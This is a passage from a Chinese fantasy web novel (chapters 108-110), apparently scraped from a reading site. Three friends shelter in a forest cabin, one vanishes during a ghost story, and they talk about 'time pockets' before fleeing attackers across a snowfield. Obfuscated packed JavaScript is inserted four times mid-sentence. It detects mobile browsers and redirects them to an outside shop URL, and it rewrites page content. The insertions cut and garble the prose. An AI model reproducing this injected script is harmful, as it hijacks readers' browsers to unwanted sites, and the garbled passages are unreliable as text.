以利亚洗澡的时候,莱纳德把野餐计划、海上飓风还有海底历险的精力讲给了奥多娜,后者听得津津有味,还时不时插话进来,请他把细节讲得更丰富些。 等到全部讲完,以利亚早已经收拾妥当,在扶手椅上打起了瞌睡,太阳也落到了地平线另一端,只剩下固执的余晖尚未完全散尽。 “所以是那些咒语把你抽干了,难怪,你这个小可怜。”奥多娜温和地拍拍以利亚的手臂,像个大姐姐那样,“别担心,你们在这里可以想住多久就住多久,至少也得等到你俩都活蹦乱跳、恢复如初。” “多谢了。”以利亚诚恳地说。 莱纳德故意阴险地挤挤眼睛:“我们俩保证好吃懒做、赖着不走。” “我的荣幸,”奥多娜咧嘴一笑,“那么,现在最关键的问题来了。” 她摆出最严肃地表情,认真地看着对面两个人,问,“晚饭你们想吃什么?” “这个嘛……”以利亚眨眨眼睛,摆出一副打算看好戏的神情看向莱纳德。 原本吃点心填饱了肚子,但热水澡最是消耗能量,更别提还讲了那么久的故事,莱纳德不好意思地挠了挠头,承认自己又饿了,“晚饭可以吃肉吗?”还有蛋卷、奶油蘑菇汤、铺满芝士和香肠的披萨、涂满黄油烤得热乎乎的司康…… 奥多娜还没回答,以利亚就先“嗤”地笑了出来,毫不留情地掀他老底:“见笑,这家伙是真饿狠了,在林子里看见一头活蹦乱跳的小野猪,口水都差点流一地。” “喂!”莱纳德大声反击,“是谁许诺了野餐,结果反倒害我们差点变成八爪鱼的口粮?” 以利亚张开手指,大方地比了一乍长:“是差一点,这很关键。” “还是先确认我不会饿死再说大话吧,老兄。”莱纳德嘀嘀咕咕地翻了个白眼,他还想再说什么,肚子却先声夺人,“咕噜噜”地以示抗议,在安静的小木屋中清晰可闻。 三个人不约而同地闭上了嘴,面面相觑,忽然间爆发出一阵大笑,以利亚边笑边用力锤莱纳德的肩膀,好像他不是肚子叫,而是讲了全宇宙最绝妙的笑话一样,奥多娜倒在摇椅里前仰后合,连眼泪都差点笑出来。 这一晚,就像他们之后住下来的这段日子一样,总是笑得更多。 这一点才是最关键的。 奥多娜承诺莱纳德第二天烤狍子肉吃,因为今天太阳已经落山,对户外烧烤来说不是个好时机。作为补偿,她把屋外挂着的鱼干取下来,熬了一锅鲜美的鱼汤,鱼切块后用油煎得满屋飘香,汤里还加了菌子和芸豆,味道鲜且醇厚,两人尝了之后都赞不绝口。 以利亚也自告奋勇,声称要做一道惊艳味蕾的好菜,结果却给大家带来了一些惊吓—— 这位主动请缨的新晋厨师开工还不到十分钟,莱纳德和奥多娜就赶紧冲进厨房,扑灭明火,把门窗全部打开,好让以利亚开灶制造出来的黑烟赶紧散出去。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13993147|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咳,我们来得太晚了。”奥多娜沧桑地说,举起一只手在脸前扇风。 “只是香草煎蛋卷而已,以利亚,你是怎么搞出这么大阵仗的?”莱纳德一脑门费解,“有人在炉子里藏炮仗了吗?”只见鏊子里的蛋卷早已面目全非,变成黑乎乎的一团,不管是造型还是味道都一言难尽。 只剩几块碎鸡蛋壳顽强地滚在灶台上,幸运地没被烧成飞灰。 “我的锅被烧穿了,我该死的锅,”奥多娜一边检查厨房里的损失,一边不可置信地喃喃道,“看在上帝的份上,以利亚,下一步你是不是打算把我的小木屋也烧了?” 以利亚接过奥多娜递来的擦脸布,一本正经地解释:“我用不惯烧火的炉灶,咳,火太大了。”他用布子抹了把脸,成功把脑门上的灰抹到了半张脸上,却丝毫未觉,揉着鼻子诚恳地向奥多娜表达疑惑:“你连机器人都做得出来,干嘛还非要烧火做饭?” 奥多娜忍着笑:“你需要的不是电炉子,而是一支随时待命的消防队。” “拜托,只是些烟而已……” “还是庆幸毯子没被烧着吧,以利亚,不然消防队来了你也得在厨房裸奔。”莱纳德紧跟着补刀。 奥多娜拍了拍以利亚的肩膀,最后一锤定音:“这顿饭所有的碗都归你洗,还有明天的柴也归你劈。” “好吧,你说了算。”以利亚揉了揉鼻子,胜在脸皮够厚,连炭灰都穿不透,完全看不出尴尬的意思。 三个人最后就着鱼汤吃了几块饼,虽然没有香草蛋卷添加风味,但也吃得心满意足。 夜里风凉,奥多娜从二楼搬下来几床厚厚的被褥和隔凉的席子,支使以利亚和莱纳德把客厅里的东西挪到一边,被褥就地铺开,权作夜间休息场所。 屋子一角是烧得暖乎乎的炉子,夜灯吊在木墙挂钩上,窗框偶尔被风吹得“喀嗒”作响,却并不突兀,远处林子里鹳鸟“哒哒哒哒”的斗嘴声偶尔顺着夜风传来,氛围居然还挺温馨,跟童子军夏令营似的。 “怎么样?”奥多娜看着模样大变的厅堂,很是得意,“是不是很有安全感?” 莱纳德故意龇牙一笑:“半夜跟两个孔武有力的大男人同处一室,哪里来的安全感?” 奥多娜回以更加阴森的一笑:“该有危机感的是你们。” 以利亚扶额叹气,让这两个人共处一室,他才真会感觉到危机:“奥多娜,楼上没有客房吗?” “二楼是我的工作间,可不是给你们睡大觉用的。”奥多娜抱起胳膊不客气地说。 “哈,你就是想玩过家家吧?”莱纳德一针见血地说,一边不顾风度地率先抢占了中间的位置,和最大的一床被子。 “过家家有什么不好?”奥多娜伸脚把莱纳德往以利亚那边踢了踢,冲他做了个挑衅的表情,“等关了灯我们还可以比赛讲鬼故事,啊,那些值得怀念的老时光。” “鬼故事比赛?有这回事吗?” “当然,谁的故事先成真谁就赢了。” “好,让我想想,”莱纳德举起一只手,故作沉思状,随即眼睛一亮,“有了!跟奥多娜?霍普女士在一栋林间小木屋里过夜。” “快睡吧你!”以利亚终于忍无可忍,把枕头丢到了莱纳德的脸上。 108.第十一章:秋冬之交(中) “听我讲完嘛。”莱纳德把枕头塞到脑袋底下,扯过被子把自己裹起来,说道,“相信我,后面更精彩。” 奥多娜翻了个白眼,阴阳怪气地表示支持:“哦,拜托请讲下去,我们都迫不及待地想听完了。”她说着也躺了下来,挥手扔出个小东西,不偏不倚,正好砸在墙灯上,“噗”地一声,灯立刻灭掉了,屋里顿时只剩下飘忽的红色炉火,忽明忽暗。 “谢了,奥多娜。”莱纳德假装没有听出来奥多娜语气里的讥刺,抬起胳膊枕在后脑勺下,悠然说道,“这氛围正适合鬼故事。” “也很适合鬼魂造访。”奥多娜故意把声音逼得又尖又细,像个不怀好意的老巫婆。 “比如你这个幼稚鬼。”莱纳德反击。 “真是够了。”以利亚叹了口气,拉过被子盖住了脑袋。 “在一片闹鬼的森林里,有一间闹鬼的小木屋。”莱纳德开始讲他的鬼故事,奥多娜在旁边小声评价:“开头未免太直白了吧?”被莱纳德不客气地“嘘”了回去。 “这天,两个背包客来到林子里徒步,结果半路指南针出了问题,不管朝向哪边都只会疯狂乱转,天还没彻底黑下来,他们就不出意外迷路了,而两个倒霉鬼只带了两把手电筒。” “在惨白的手电光下,树枝和叶子的形状好像老巫婆的胳膊和手爪,前一秒还支棱着指向旁边,但一眨眼,又好像要朝他们扑过来了。背包客里有一个人胆子很小,他告诉另一个背包客,附近有人一直在跟着他们,他能听到那个人窃窃私语的声音,是个女人,毫无疑问,但同伴却没相信,坚持他听到的肯定是躲在树上的猫头鹰或者松鼠,之类之类的。” “那个人说的是什么?”以利亚忽然问。 “什么?” “那个跟踪他们的女人,或者东西,那个窃窃私语的声音在说什么?” “哦,胆小的背包客一开始并没有听清楚,他被同伴说服了,相信自己只是被风声、小动物或者小虫子的动静给吓到了,一定是错觉,他这么告诉自己,树林里总是有各种各样的动静,不是吗?但内心深处,他知道,那个声音还在,‘来吧,跟我回家’,背包客终于听清楚了,那个声音如此说道,一遍又一遍,就在他们身后不远的地方。” “就在两人准备在林子里就地睡下的时候,一间小木屋出现了,它藏在雾气里,连轮廓都模模糊糊,差点被他们错过,但胆小的背包客率先发现了这栋精致的二层小木屋,谢天谢地,他们不用在潮湿的土地上过夜了。” 奥多娜轻声道:“我敢打赌这小木屋里有个女鬼,专门诱惑迷路的背包客。”她忽然阴森森地笑了一下,“还有时空旅行的傻瓜。” “喂,到底是谁在讲故事?”莱纳德抗议道,“还有,不许隔着被子戳我了,奥多娜,我知道是你!” “请继续,小蜂鸟。”奥多娜用鼻音哼道。 窗外,北风吹得正紧,跟屋里柴火毕毕剥剥的声音相映成趣,火光黯淡了下来,但还算暖和,莱纳德把手臂收进被子里,调整到最舒服的姿势,继续讲道—— “一走进小木屋,背包客就闻到了甜甜的香气,好像糖果和烤面包混合的味道,非常诱人,而两个背包客早已经饥肠辘辘,连最后一瓶水都喝得干干净净了。他们在木屋里翻找起来,想找些干粮充饥,说不定木屋主人只是临时在外过夜,因为这里每间屋子都干干净净,连一丝灰尘都没有,完全不像是无人居住的样子。” “两个人把每个房间都找了一遍,却没有发现任何食物,连一粒麦子都没有。也许是木头本身的香气,建造者当年一定选择了特别的木材,背包客得出了这个草率的结论,放弃了寻找,最后两人决定在大厅里休息一夜,等天亮之后再出发。” “等到半夜的时候,胆小的背包客忽然惊醒了,尽管两个人都是和衣而睡,还裹着他们能找到的最厚的毯子,但他依然冷得要命,一张嘴就吐出一团白气,仿佛小木屋突然之间变成了冰窖似的。” “就在这时,胆小的背包客发现自己的同伴不见了。” 故事到这儿戛然而止,奥多娜等了半天,没等到下文,忍不住问:“然后呢?是你喜欢吊人胃口,还是这根本就是个糟糕的有头没尾的故事?” 莱纳德没吱声,他仿佛连呼吸都屏住了,左手摸索着探出被子,只摸到一片带有余温的褥子——以利亚原本应该躺在这里的。 可现在,以利亚却不见了。 “以利亚?”莱纳德轻声叫道,炉火不知什么时候灭了,只剩星星点点的灰烬,他翻过身,乱糟糟的被子轮廓在黑暗中好像怪蛇褪下的皮。 “莱纳德?你在干嘛?”右手边窸窸窣窣的一阵,奥多娜也爬起来了,她嘀咕了几句屋里真冷之类的话,凑到莱纳德旁边,目光越过他的肩膀,疑惑道:“那老小子呢?上厕所去了?” 她提高嗓门叫道:“以利亚?” “好了,以利亚,你赢了!讲鬼故事的反倒被听鬼故事的吓了一跳,干得漂亮。”莱纳德的声音打了个颤,“你现在可以出来了,别吓我,好吗?” 没有回音。 莱纳德跳了起来,把被子甩到地上,木屋里这会儿虽然不至于像冰窖,但也冷得够呛,他使劲呼出一团白气,跺着脚在屋子里转了一圈,没有找到以利亚的踪迹。 突然间,大门外“砰”的一声,紧跟着又是“砰”的一声,连窗框都被震动了。 莱纳德和奥多娜同时朝门口转过身,奥多娜还顺手抄起了火炉边的拨火棍,低声道:“格林能确保夜里没有动物穿越林田边界,所以,可别告诉我是院子里那只狍子活过来了。” “砰”! 木门被人猛地推开,以利亚裹着一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006724|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身冷风钻了进来,他还穿着那条毯子做成的披风,赤着脚,连门都没来得及关上就连打了三个喷嚏,显然冻得不轻。 “以利亚!”莱纳德冲上去,“你什么时候跑出去的?”他愤愤地锤了以利亚一拳,“就为了吓唬人?该死的,这可不好笑!你到底干嘛去了?” “额,上厕所?”以利亚揉着鼻子,表情也有几分茫然。 “看在上帝的份上,你把我们的魂儿都吓飞了,”奥多娜晃了晃手里的拨火棍,不满道,“除非真有女鬼抓你出去,不然你最好有个合理的解释。” “好吧,我可以解释,但不保证合理,因为看在上帝的份上,奥多娜,我也是一头雾水呢。”以利亚边说边连连摇头,“上一秒我还在屋里,听鬼故事,下一秒,我就站在北风呼啸的乡间小路上了,连双该死的鞋都没穿。”他说着抬起一条腿,向两人展示他沾满泥巴的脚底板,叹气道,“你的一个机器人差点对我大打出手,抱歉,我不得已让它暂停运转了,奥多娜,这算正当防卫。” 奥多娜拧起眉头:“自发性空间转移?”她打量着以利亚冻得惨白的脸,又问,“你在外面待了多久?” “至少半小时,还不算我辨认方向找路的时间。”以利亚吸了吸鼻子,“我还以为你们会出门找我呢。” “不可能!” 莱纳德脱口而出:“我们才刚刚发现你不见了。”他跟奥多娜面面相觑,“那个故事一共才讲了十来分钟,对吧?” 奥多娜点点头:“看起来是自发性时空转移咯。”她瞟了眼以利亚,“我还以为你的能力都被那些咒语抽干了呢,所以这是怎么回事?回光返照?灵光乍现?” “说不准。”以利亚搓搓脸,他脸上的肌肉都被冻僵硬了,“时间滑脱以前也发生过,这次运气还算不错,至少我没有穿着条毛毯摔到哪个高档场所去,那样人可就丢大了。” 莱纳德眉头紧锁,没错,时间滑脱的确发生过,但并不像这次。一个荒诞的念头跳出脑海,他的鬼故事刚讲到小木屋的背包客凭空消失,以利亚就不见了——不太像个单纯的巧合,不是吗? 但无论如何,总算是有惊无险。 以利亚简单洗漱过后,便草草睡下了,三个人也没了讲鬼故事的兴致,各自抱着被子睡去了。 莱纳德辗转反侧了半天,才陷入浅眠,他梦到了自己睡前讲的那个鬼故事,唯一的区别是,背包客变成了他和奥多娜,他们原本开着一辆拉风的福特卡车行驶在公路上——95号公路?模糊的直觉这么告诉他——但他听到了森林的召唤,就像胆小的背包客听到女鬼的召唤那样,在他的坚持下,奥多娜陪他走进森林,两个人走了很久,才终于找到那间小木屋。 只除了那小木屋并不是他们此刻住的这间,而是一个充满危险的地方。 那些木头墙会吃人。 109.第十二章:秋冬之交(下) 第二天,莱纳德是被奥多娜用枕头拍醒的,理由是他一直在说梦话,糟糕的梦话。 “我说梦话了?”莱纳德揉着脸,好脾气地没有抄起枕头反击回去,在大学宿舍里,通常只有一种梦话会招致舍友的关注,他的脸不由得有些发红,讷讷道,“真的?我都不记得自己做过梦了。” “对啊,你一直在嘀咕关于薛定谔的猫之类的,怎么,大学里哪位物理学教授给你留下心理阴影了?”奥多娜同情地看着莱纳德。 莱纳德立刻松了口气,坐起来整理床铺:“你什么时候也了解人类物理学了?”他有些心不在焉,被子被他叠得歪歪扭扭,然后胡乱用褥子裹起来。 “薛定谔的猫”这几个字像石子投湖似的在他脑海中制造出一串涟漪,又像是某种古怪的既视感,使它含有某种相当具体的含义。 ——上帝从不掷骰子。一个严肃的声音在他脑海中低语,几乎让他汗毛直竖。 莱纳德甩了甩脑袋,开始理解奥多娜为什么会用“糟糕的梦话”来做评价,也许他真的做梦了,梦到了那位想象力丰富的奥地利物理学家,还有猫咪,谁知道呢? 奥多娜耸耸肩,敷衍地说道:“我一直是个好学的人。”她支使莱纳德和以利亚把毯子并被褥卷成一个大筒,滚到了墙角的立柜里。 “好了,准备早饭,每个人都有活干!”奥多娜最后宣布。 莱纳德被派了剥松子的任务,他抱着一簸箕松球到院子里去的时候,以利亚正在劈柴,践行昨晚的承诺。 “奥多娜说她要做松子羹,鬼知道那是什么。”莱纳德看到以利亚冲他投来好奇的目光,于是晃了晃手里的簸箕,里面的松球稀里哗啦地响了起来,几颗松子顺势逃之夭夭,滚到地面溜之大吉。 “要我说,奥多娜把这片地方打理得不错,做饭也有一手。” “这家伙上哪儿去了?出门也不吱一声,我去了趟厨房她就没影儿了。” “没出门,还在二楼的工作间呢,用她自己的话说,早上是工作灵感最充沛的时段,不接受任何形式的打扰,包括‘烦人的脚步声’,所以我建议你别靠近那段楼梯。” “那我只好来打扰你了。”莱纳德在以利亚旁边一屁股坐下来,“吃松子吗?” “谢了,留着早饭再吃不迟。” “哈,你要是怕奥多娜就直说。” “我什么时候说过我不怕她了?” 莱纳德先是忍不住嗤地一笑,然后故意叹了口气,伸手抓起一把松球:“说老实话,虽然那女人只有五英尺三英寸高,但我还是怕她。” “这就叫做一物降一物。”以利亚总结道。 他左手扶起木柴,右手抓着小斧子比划了一下,手起斧落,先把斧子楔进木头,一顿,木头便干脆利落地一分为二。 “要是你做饭的本事能有劈柴的一半,”莱纳德挑眉,“我们在林子里也不至于只能吃果子、啃树皮。” 以利亚笑笑,又从柴堆里抓起另一条木头,熟练地挥斧劈柴,像是已经这么干过无数次了。 莱纳德低头剥了几颗松子,忽然突兀地开口说道:“我见过你时间滑脱,还记得吗,昨天晚上明显不是。”他抬起眼睫,凝视着以利亚,“所以,到底是怎么回事?”顿了顿,又问:“和我有关吗?” 以利亚的斧子在半空一顿,然后轻轻落在了木头上,抬起头,认真地打量起莱纳德,仿佛对方脸上忽然长了一朵花出来。 “别告诉我你没这么想过。”莱纳德故作随意地耸耸肩,“我们两个人里总有一个得先开口,不是吗?” “为什么你会觉得和你有关?”以利亚不答反问,灰眼睛里闪动着某种莫名的光芒。 “直觉?”莱纳德的语气听起来也不怎么确定,“世界上真有那种东西吗?言灵、意念力之类的……” 以利亚的回答是:“当然。” 莱纳德大吃一惊:“还真有?” “言灵也好,念力也罢,都是一种精神力,事实上,百分之九十的人类大脑都具有这种潜能,只不过大部分人不知道如何运用它罢了。”以利亚用一种十分冷静的口吻陈述道,“至于所谓的咒语、符咒、巫术,甚至黑魔法,本质都是通过某种方法来强化这种精神力。” “黑魔法?”莱纳德手指一抖,差点把松球扔到地上。 “你在担心什么?”以利亚展颜一笑,摇了摇头,“就算昨天真是你把我送到十里地之外也没什么大不了的,我不是安全返回了吗?再说,有精神力是件好事。” “我没担心。”莱纳德嘴硬道,“只不过黑魔法听起来总不像温水spa那么让人安心。”而且,他最近听到这个词的次数远超过他乐于听到的。 “第一,昨天晚上与黑魔法无关,多半只是很偶然的念力闪现;第二,黑魔法并没有你想象得那么糟糕,真的。” “第三,我没有担心。”莱纳德翻了个白眼。 “真的?不是我说,你光用眉毛都能夹开松子了。” “那是我正在练习的技能,不行吗?”莱纳德强词夺理,顺手抓起一把剥好的松子塞进了嘴里,奥多娜要是看到一定会大为光火。沉默了一会儿,他忽然又说:“但如果这种能力开始向不好的方向发展,不管它是什么,你会告诉我的吧?” “当然,坦诚一向是我的中间名。” “到了需要出手的时候,你也不会手软?” “不会。”以利亚似乎笑了笑。 莱纳德反倒惊讶地抬起头:“喂,这时候你不应该说点老掉牙的鸡汤话吗?”他模仿以利亚的语气,沉着喉咙说,“别胡思乱想,莱尼,不会有事的,我保证。” 以利亚哈哈大笑:“我什么时候这么说话了?” “一直都是,好像我是什么不懂事的三岁小孩。”莱纳德故意挑衅地冲对方扬了扬眉毛,“还是说你袖子里只有这一招?” “好吧,下次我会记住换一套说辞。”以利亚的表情像是憋着什么坏水,果然,他很快又忍着笑说,“因为女士们、先生们,莱尼已经是个大男孩儿了。” 莱纳德把剥光的松球丢到了以利亚的脑袋上,这段关于精神力的讨论就此告终。 早饭的松子羹大获好评,奥多娜还像变魔法一样拿出了新鲜的果酱和烤面包,味道香甜可口,鉴于方圆一百多公里内都没有甜点屋,这一点还挺让人佩服的。 “女孩儿们,你们在厨房里过家家的时候,”奥多娜一开口就打算气人,“我去检查了格林昨晚的工作记录,结果有些出人意料。” “怎么说?”以利亚和莱纳德一齐抬头看向她。 奥多娜一双大眼睛滴溜溜地转了转,说道:“视频恰巧少了半小时,当然了,时间段跟以利亚滑脱的时间正好吻合,这没什么,我更在意的是另外一点,”她的表情严肃起来,思考时右手食指在桌面上轻轻敲击,“我用至少三种方法核查过,格林并没有任何停止运转,或是被骇入的痕迹,换句话说,他的工作记录是完整、连续的,至少对他而言如此。” 莱纳德咋舌,转向以利亚:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14014726|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以你昨晚上打的是谁?另一个机器人?” 以利亚摇摇头:“我很肯定是格林,除非还有另一个跟它长得一模一样的机器人,恰巧在麦田附近巡逻。” 莱纳德又看向奥多娜,后者摇了摇头。 “可千万别是彗星来的那一夜,”莱纳德叹气,举起右手食指中指交叉许愿,“各位,昨晚上没有彗星划过天空吧?” “当然没有了,金毛儿,别像个小孩儿似的。”奥多娜翻了个白眼,“就算多元宇宙真的存在,也不会跟《彗星来的那一夜》一样随意。你怎么看,以利亚?” “无法解释的时间流失,听起来有点耳熟。”以利亚思考着。 “别光说耳熟啊。” “你作为前任时间特工,难道没什么建设性意见?”以利亚反问。 “我只知道时间不会平白无故消失。”奥多娜耸耸肩。 “也许,是被人藏起来了。”以利亚沉吟道。 “藏起来?”奥多娜的表情先是惊讶,随即想起了什么,“难道是时间口袋?” “这也解释了昨晚的时间滑脱为什么会出现。”以利亚并不刻意地看了莱纳德一眼,“精神力总是会受到时间能量的影响。” “时间口袋又是从哪儿冒出来的?”莱纳德忍不住问。 奥多娜霍地站起身来,怒道:“在我的地盘上,这群混蛋也敢乱来!”伸手把盘子一推,径自奔上二楼,在木质楼梯上踩出了一连串“咚咚咚咚”的脚步声。 莱纳德本来想伸手拉住她,但以利亚朝他摇了摇头,他一迟疑,二楼工作室的门已经“砰”一声关上了。 “什么时间口袋?哪群混蛋?你们到底在说什么?”莱纳德不由得叹气,时空旅行这种游戏对于在地球上呆了一辈子的菜鸟新手真是太不友好了。 “听说过沃冷集团吗?”以利亚问。 莱纳德摇了摇头,但脑海深处的某个记忆片段却忽然轻轻跳了一下——生命五号,粉色小鱼——两个莫名其妙的词紧接着出现。 “沃冷集团是做医药发家的,但自从麦德森·沃冷靠着他的奇怪发明一举成为家族领军人物,这个财团的投资中心便逐渐向时间科技转移,从长生不老药,到灵魂矩阵,他们可折腾出过不少幺蛾子来。”以利亚向后靠在椅背上,若有所思地说道,“我曾经想过去会会那位天才怪人麦德森,但未能成行。” 莱纳德脱口而出:“要是成行,恐怕沃冷集团也就成不了气候了。” 以利亚一挑眉,似乎有些惊讶,失笑道:“无论如何,沃冷集团确实成气候了,我通过一位不幸姓沃冷朋友了解到,麦德森打着新药研究的旗号背地里做非法人体实验,还差一点爆出丑闻来。” 莱纳德喃喃道:“可惜没有,所谓祸害遗千年嘛。” 以利亚不着痕迹地叹了口气:“再过几年,麦德森带着他的灵魂矩阵发明横空出世,声称将彻底改变生命的形式,也就是说,他能够把人的灵魂上传到云端,好让人们能够以这种方式永远存在下去。” 莱纳德手臂上窜起一层鸡皮疙瘩,他问:“这些跟时间口袋有什么关系?” “灵魂矩阵的衍生产品。”以利亚说,又叹了口气,这次显得有几分无奈,“时间口袋可以创造出一个相对静止的时间域,身处其中的玩家可以尽情游戏,不受身份、种族、性别、年龄等等等等限制。” “玩家?”莱纳德捕捉到了那个出乎意料的关键词。 “你猜的没错,时间口袋就是一个大型的灵魂游戏场。” 110.第十三章:无尽冬夜 “右边!”以利亚大声喊道。 莱纳德猛地向右一扑,惊险万分地躲过了身后射来的一箭,不等他站稳,手腕上就是一紧,以利亚用力抓住了他,带着他顺势向右前方拼命狂奔。 脚下的积雪被踢得乱飞,一同飞溅而起的还有枯叶、碎石子,还有被低温冻得硬邦邦的尸体碎块,莱纳德由衷希望那只是丧生于捕猎者的动物残骸。 “怎么、怎么办?”莱纳德上气不接下气地吼道,但在狂呼乱叫的寒风中,听起来并不比猫叫声大多少。 以利亚言简意赅:“跑!” 没有武器、没有交通工具,在这片能把人屁股冻掉的万里雪原上被一群手持弓箭和投掷石块的食人族追赶,除了跑还能怎么办? “在跑了!”莱纳德听得到食人族尖锐的吼叫声,如果不是代表着致命威胁,那声音实在有几分滑稽,“我们、我们怎么会落、落到这种境地的?”他在喘气的间歇苦笑道。 “不知道,命运吧。”以利亚把气叹回肚子里,他也实在没想到事态会发展到这个地步。 半个小时前,他们还在奥多娜温暖干燥的小木屋里,讨论时间口袋引擎会放在哪里、是谁放置的,一支沾满了火油的箭矢倏地穿窗而过,“咄”的一声钉进了木墙中,火舌霎时间舔上墙壁挂着的煤油灯,“轰”—— 混战就此开始。 给小木屋灭火压根不在活命选项里,莱纳德甚至不记得自己是怎么逃离木屋的,他只记得自己跑到二楼去找奥多娜,二楼的工作间里摆满了各种他见过的、没见过的、想都想不到的东西,但就是没有奥多娜的影子。 奥多娜消失了,就像以利亚昨晚消失了一样,莱纳德脑海里闪过这个念头,紧接着,他就看到了工作台上摆着的东西。 一个沾满灰尘的牛皮笔记本。 小木屋一楼很快就着了起来,以利亚不得不带莱纳德从二楼的窗户跳了下去,幸亏外面积雪很厚,两人在雪地里打了个滚就站起来了。 另一件幸运的事,奥多娜昨晚好心地把他们经历过深海探险、森林徒步的衣服洗过、熨烫好了,莱纳德脚上甚至还穿着那双革面靴子,谢天谢地,否则要是穿着奥多娜的木屐在雪地里狂奔,简直想想就让人绝望。 但除此之外,幸运女神并没有多眷顾他们一分一毫。 追杀他们的食人族尽管没有热武器,却个个都是神箭手,这简直毫无道理。两人不止一次差点被箭矢射中、被石块砸中,更不用提那些擦伤了,莱纳德只庆幸自己吃饱了早饭,体力也恢复了,不至于出点血就不支倒地。 前面有几块大石可以勉强做掩体,以利亚拉着莱纳德连滚带爬地躲到了石头后面。 “干嘛?他们会追上来的。”莱纳德小心翼翼地探出头,入目尽是乱飞的雪花,没有追兵的踪影,但仍然能听到他们大呼小叫的声音。 “能挡一会儿是一会儿。”以利亚拿出金属笔,开始写方程,但笔头的绿光却断断续续,如同秋末的萤火虫似的,随时都有可能彻底熄灭。“该死!这破笔不顶用了。”他恼怒地抱怨道。 “告诉我这不是真的。”莱纳德喘着粗气,后背紧紧地贴着石块,冰凉的雪水顺着布料慢慢渗了进去,感觉非常真实,在眼下这种情景里,简直真实得可怕。 以利亚喃喃咒骂一声,用力甩了甩金属笔,仿佛想把卡墨水的笔头甩顺畅似的,结果当然毫无用处,他抬起头,语气暴躁地问,“你说什么?” “时间口袋,你说过那是个灵魂游戏场,我们现在就在游戏场里,不是吗?” “嗯哼,八九不离十。” “所以这都不是真的,对吧?” 以利亚停下手上的动作,严肃道:“听着,这不仅仅是个游戏,尽管麦德森·沃冷对外是这么宣传的,但极有可能,灵魂游戏场只是个幌子,真正的目的是为了向灵魂矩阵输送新鲜的灵魂。” “你总是提到灵魂矩阵,那究竟是什么东西?” “不知道,但我也不想靠亲身体验来得出答案。”以利亚忽然把金属笔塞进了莱纳德手里,从大石块上探出头去,又飞快地蹲下身,对莱纳德说,“我的能力还没恢复,要靠你了,还记得我们在海底的时候吗?你已经成功过一次了,这次一定没有问题。” “嘶,我可不会管从半空摔进淤泥一尺深的池塘里叫成功。”莱纳德抓着金属笔,看样子只想把它扔得远远的,仿佛那不是逃命工具,而是根烧红的拨火棍似的。 “可我们不是在时间口袋里吗?不管那是什么,时空旅行这一套还能用得上?”他问。 “没时间解释了,我说,你写。”以利亚话音未落,一块比脑袋还大的石头便气势汹汹地落到了他们藏身的大石块上,登时碎石飞溅,以利亚躲闪不及,被一片碎石划破额角,伤口不深,但鲜血还是立刻淌了下来,他胡乱抹了把脸,催促道,“快!” “他们追上来了!”莱纳德颤声道,声音里的惊恐比他想象得更明显,“走,我们得先拉开安全距离。”他匆匆把金属笔往口袋里一塞,抓住以利亚的手臂,拉起他继续奔逃。 “等等!前面是……”以利亚的眼睛被鲜血糊住,凌乱的雪花更是对视野毫无助益,但他隐约记得这条路再往前就是…… “见鬼!” 莱纳德忽然发出一声短促地咒骂,脚下骤然一滑,白茫茫一片的雪原竟暗藏陡坡,松软的雪地向下陷去,露出了滑不留足的坚冰。两人压根来不及稳住身体,便挥舞着手臂滚了下去。 尽管有一尺多厚的雪做缓冲,两人还是摔了个晕头转向,雪坡上有无数嶙峋的石块,毫不留情地刺破了他们裸露在外的头脸和手臂。 这还不是最糟糕的。 坡底有一块险恶的大石,就像在糖果屋里等待汉斯和格莱泰兄妹的老巫婆似的,正狞笑着等待猎物上门。 以利亚一头撞了上去。 “以、以利亚,”莱纳德连滚带爬地奔向以利亚,拍拍他的脸颊,手指立刻沾上了鲜血,在寒风中眨眼就凝固了,“能听到我说话吗?以利亚?” 以利亚迷迷糊糊地应了一声,莱纳德又用力拍了拍他,他这才睁开眼睛:“唔。” “振作点,以利亚,这都不是真的,只是个该死的游戏而已。”莱纳德伸手穿过以利亚的腋下,想把他扶起来,但对方沉甸甸的简直像一座大山,显然这个该死的游戏就算再假,对他的伤害也一定是真的。 以利亚喃喃地嘟囔出一连串含义不明的话,等莱纳德反应过来那是方程式,以利亚的眼睛又已经闭上了。 “我没记下来,以利亚,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 